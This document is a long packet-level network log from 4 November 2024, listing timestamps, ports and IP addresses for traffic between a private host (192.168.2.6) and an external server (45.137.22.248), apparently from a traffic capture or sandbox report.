Nov 4, 2024 04:32:15.504086018 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504100084 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504170895 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504179955 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504188061 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504199028 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504208088 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504215956 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504220963 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504220963 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504232883 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504241943 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504252911 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504275084 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504288912 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504298925 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504328012 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504342079 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504359961 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504369020 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504384995 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504394054 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504400969 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504412889 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504426956 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504430056 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504441023 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504451990 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504470110 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504479885 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504487991 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504506111 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504513025 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504529953 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504551888 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504551888 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504591942 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504601955 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504611015 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504618883 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504689932 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504698992 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504708052 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504719019 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504734993 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504744053 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504806995 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504816055 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504900932 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504909992 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504916906 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504925966 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504978895 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504987001 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505064964 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505074978 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505142927 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505151987 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505160093 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505170107 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505178928 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505276918 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505285978 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505294085 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505302906 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505311966 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505321026 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505331039 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505340099 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505348921 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505393028 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505403996 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505413055 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505420923 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505429983 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505439043 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505448103 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505455971 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505511045 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505520105 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505527020 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505537033 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505546093 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505554914 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505563021 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505572081 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505578995 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505589008 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505604982 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505614042 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505618095 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505625010 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505635023 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505642891 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505652905 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505665064 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505789995 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505799055 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505806923 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505815983 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505839109 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505847931 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505858898 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505868912 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505880117 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505889893 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505897045 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505906105 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505913973 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.505920887 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506022930 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506031990 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506040096 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506048918 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506057024 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506066084 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506138086 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506146908 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506155014 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506164074 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506172895 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506190062 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506263971 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506273031 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506279945 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506289959 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506299019 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506309032 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506386995 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506397009 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506403923 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506413937 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506422043 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506431103 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506441116 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506448984 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506514072 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506522894 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506531000 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506540060 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506551027 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506557941 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506644964 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506654024 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506663084 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506670952 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506680012 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506689072 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506697893 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506705999 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506716013 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506725073 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506735086 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506767035 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506777048 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506784916 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506793976 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506802082 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506858110 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506866932 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506964922 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506973028 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506982088 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.506990910 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507000923 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507009029 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507016897 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507031918 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507036924 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507045984 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507054090 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507061958 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507071018 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507077932 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507092953 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507102013 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507172108 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507196903 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507205963 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507215023 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507224083 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507230997 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507241964 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507250071 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507266045 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507275105 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507282972 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507291079 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507298946 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507308006 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507320881 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507328987 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507380962 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507389069 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507395983 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507404089 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507412910 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507421017 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507437944 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507513046 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507522106 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507530928 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507539988 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507548094 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507556915 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507565022 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507627010 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507635117 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507642984 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507652044 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507663965 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507672071 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507754087 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507762909 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507771015 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507780075 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507788897 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507797003 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507806063 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507816076 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507822990 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507899046 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507908106 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507915974 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507924080 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507931948 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507940054 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507949114 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.507957935 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508002996 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508012056 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508021116 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508029938 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508038998 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508048058 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508136988 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508146048 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508153915 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508162975 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508172035 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508188963 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508260012 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508269072 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508277893 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508286953 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508296013 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508306026 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508313894 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508322954 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508385897 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508394957 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508402109 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508410931 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508419991 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508429050 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508438110 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508445978 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508502007 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508511066 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508519888 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508528948 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508537054 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508546114 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508554935 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508563995 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508573055 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508691072 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508699894 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508708000 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508718014 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508727074 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508735895 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508744001 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508759975 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508769035 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508778095 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508786917 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508795977 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508804083 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508866072 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508876085 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508883953 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508893013 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508900881 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508909941 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508925915 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.508934021 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509005070 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509016037 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509023905 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509032965 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509042978 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509051085 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509125948 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509135962 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509144068 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509154081 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509162903 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509170055 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509207010 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509216070 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509223938 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509232998 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509243011 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509251118 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509259939 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509526968 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509536028 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509543896 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509553909 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509561062 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509572029 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509581089 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509591103 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509598017 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509608984 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509618044 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509620905 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509624958 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509633064 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509640932 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509649992 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509660006 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509669065 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509677887 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509686947 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509691000 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509701967 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509711027 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509718895 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509727001 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509736061 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.509744883 CET	55615	49777	45.137.22.248	192.168.2.6
